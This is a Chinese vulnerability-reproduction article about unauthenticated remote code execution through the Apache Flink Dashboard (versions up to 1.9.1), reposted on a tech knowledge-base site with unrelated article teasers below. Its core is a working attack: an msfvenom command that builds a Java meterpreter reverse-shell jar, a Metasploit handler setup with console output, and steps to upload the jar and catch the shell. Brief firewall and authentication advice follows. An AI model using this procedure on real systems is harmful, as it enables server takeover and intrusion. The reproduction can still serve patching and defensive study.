Apache Flink未授权访问远程代码命令执行的复现

Apache Flink未授权访问-远程代码命令执行漏洞复现

Apache Flink Dashboard默认没有用户权限认证。攻击者可以通过未授权的Flink Dashboard控制台,直接上传木马jar包,可远程执行任意系统命令获取服务器权限,风险极大。

二、影响版本

Apache Flink <= 1.9.1(最新版本)

三、漏洞复现

1、生成反弹jar包

msfvenom-p java/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4444-f jar > rce.jar

Apache Flink未授权访问远程代码命令执行的复现

2、msf设置监听

msf5> use exploit/multi/handler [*]Using configured payload generic/shell_reverse_tcpmsf5exploit(multi/handler) > set payload java/shell/reverse_tcp payload=> java/shell/reverse_tcpmsf5exploit(multi/handler) > show options Moduleoptions (exploit/multi/handler):NameCurrent Setting Required Description——————- ——– ———–Payloadoptions (java/shell/reverse_tcp):NameCurrent Setting Required Description——————- ——– ———–LHOSTyes The listen address (an interface may be specified)LPORT4444 yes The listen portExploittarget:IdName——0Wildcard Targetmsf5exploit(multi/handler) > set LHOST XX.XX.XX.XXLHOST=> XX.XX.XX.XXmsf5exploit(multi/handler) > exploit [*]Started reverse TCP handler on XX.XX.XX.XX:4444

Apache Flink未授权访问远程代码命令执行的复现

3、上传 Jar包,并且提交

Apache Flink未授权访问远程代码命令执行的复现

监听接受反弹的shell,获取权限

Apache Flink未授权访问远程代码命令执行的复现

四、安全建议

1. 请关注Apache Flink官方以便获取更新信息:https://flink.apache.org/

2.针对ApacheFlinkDashboard设置防火墙策略(禁止Dashboard对外访问,或者确保只对可信端点开放), 仅允许白名单IP进行访问,并在Web代理中增加对该服务的Digest认证,防止未授权访问。

感谢你的阅读,相信你对“Apache Flink未授权访问远程代码命令执行的复现”这一问题有一定的了解,快去动手实践吧,如果想了解更多相关知识点,可以关注亿速云网站!小编会继续为大家带来更好的文章!

文章标题:Apache Flink未授权访问远程代码命令执行的复现,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/24212

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云亿速云认证作者
上一篇 2022年9月10日 下午11:43
下一篇 2022年9月10日 下午11:43

相关推荐

  • css中的选择器包不包括超文本标记选择器

    不包括。css选择器有:1、标签选择器,是通过HTML页面的元素名定位具体HTML元素;2、类选择器,是通过HTML元素的class属性的值定位具体HTML元素;3、ID选择器,是通过HTML元素的id属性的值定位具体HTML元素;4、通配符选择器“*”,可以指代所有类型的标签元素,包括自定义元素;…

    2022年9月1日
    31400
  • Vue3项目中如何引入SVG图标

    SVG 图标 既然是页面,肯定离不开一些图标 icon ,所以肯定要去较全的 阿里图标库 来寻找 这里讲解下如何将 阿里图标库 里面的东西,放到我们的页面上 阿里图标库 进入页面,找到 资源管理 下面的 我的项目,并创建项目 设置如下 创建好项目后,我们进入到 阿里的 素材库 里面找一些后续需要的图…

    2022年8月31日
    68600
  • mdf文件如何导入数据库

    mdf文件导入数据库文件方法: 1、打开SQL。 2、点击“连接”连接数据库。 3、右击数据库,单机选择“附加”。 4、点击“添加”。 5、即可将mdf导入数据库。 感谢各位的阅读,以上就是“mdf文件如何导入数据库”的内容了,经过本文的学习后,相信大家对mdf文件如何导入数据库这一问题有了更深刻的…

    2022年9月8日
    1.0K00
  • php中有哪些字符串定界符

    php字符串定界符有两种:1、heredoc定界符,在“<<<”运算符之后要提供一个标识符,然后换行,接下来是字符串本身,最后要用前面定义的标识符作为结束标志。2、nowdoc定界符,在“<<<”运算符之后要提供一个被单引号括起来的标识符,然后换行,接下来是字符串…

    2022年9月26日
    36000
  • Mysql锁的内部实现机制是什么

    注:所列举代码皆出自Mysql-5.6 虽然现在关系型数据库越来越相似,但其背后的实现机制可能大相径庭。实际使用方面,因为SQL语法规范的存在使得我们熟悉多种关系型数据库并非难事,但是有多少种数据库可能就有多少种锁的实现方法。 Microsoft Sql Server2005之前只提供页锁,直到20…

    2022年9月15日
    31100
  • unlocker如何使用

    unlocker使用方法: 方法一: 1、找到被锁定的文件或软件,右键选中它,点击右键菜单中的“Unlocker”按钮。 2、然后在左边选择要对它进行的动作,再点击“确定”就可以了。 方法二: 1、直接打开软件,它会自动扫描电脑中正在运行的进程。 2、选中需要操作的进程,然后在下方点击“过程结束”,…

    2022年9月24日
    23600
  • word字体放大如何居中

    word字体放大居中的方法 1、首先打开word,选中你要放大居中的文字, 点击开始菜单栏的字号,这里选择的最大字号是72号。 2、这时可以直接在字号框里输入数字,数字越大字越大。 3、选择菜单栏“布局”–“纸张方向”–“横向”,来调整页面方向。 4、在菜单栏点击“布局”–…

    2022年9月15日
    63500
  • APT28样本实例分析

    一、 背景 奇幻熊组织又被人们称为APT28,他是俄罗斯的间谍组织,2019年,奇幻熊组织的活动异常频繁。从今年年初的智囊团入侵事件,到随后的大小攻击,都有APT28的身影。奇幻熊的历史已经非常悠久,2016年,该组织因为入侵美国民主党全国委员会的电子邮件,试图影响美国总统大选而闻名于世。鱼叉式网络…

    2022年9月18日
    34800
  • windows格式工厂如何转换视频格式

    格式工厂转换视频格式的方法 1、打开软件,进入“视频”选项下。然后在下方选择想要转换的格式。 2、接着点击“添加文件” 3、然后在文件夹中找到想要修改的视频文件,点击“打开” 4、打开后点击右下角的“确定” 5、最后最重要的一步就是点击“开始”,就可以完成视频格式转换了。 到此,关于“windows…

    2022年9月21日
    20000
  • php可不可以循环字符串

    php可以循环字符串。在PHP里,字符串可以当作数组来使用,字符串中的字符可以通过一个以0为开始的,用类似数组结构中的方括号包含对应数字的方式来查找和修改;因此也可以像循环数组那样循环字符串),循环字符串的语法“for($i=0;$i<strlen($str);$i++){//循环体语句}”。…

    2022年9月26日
    20400
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部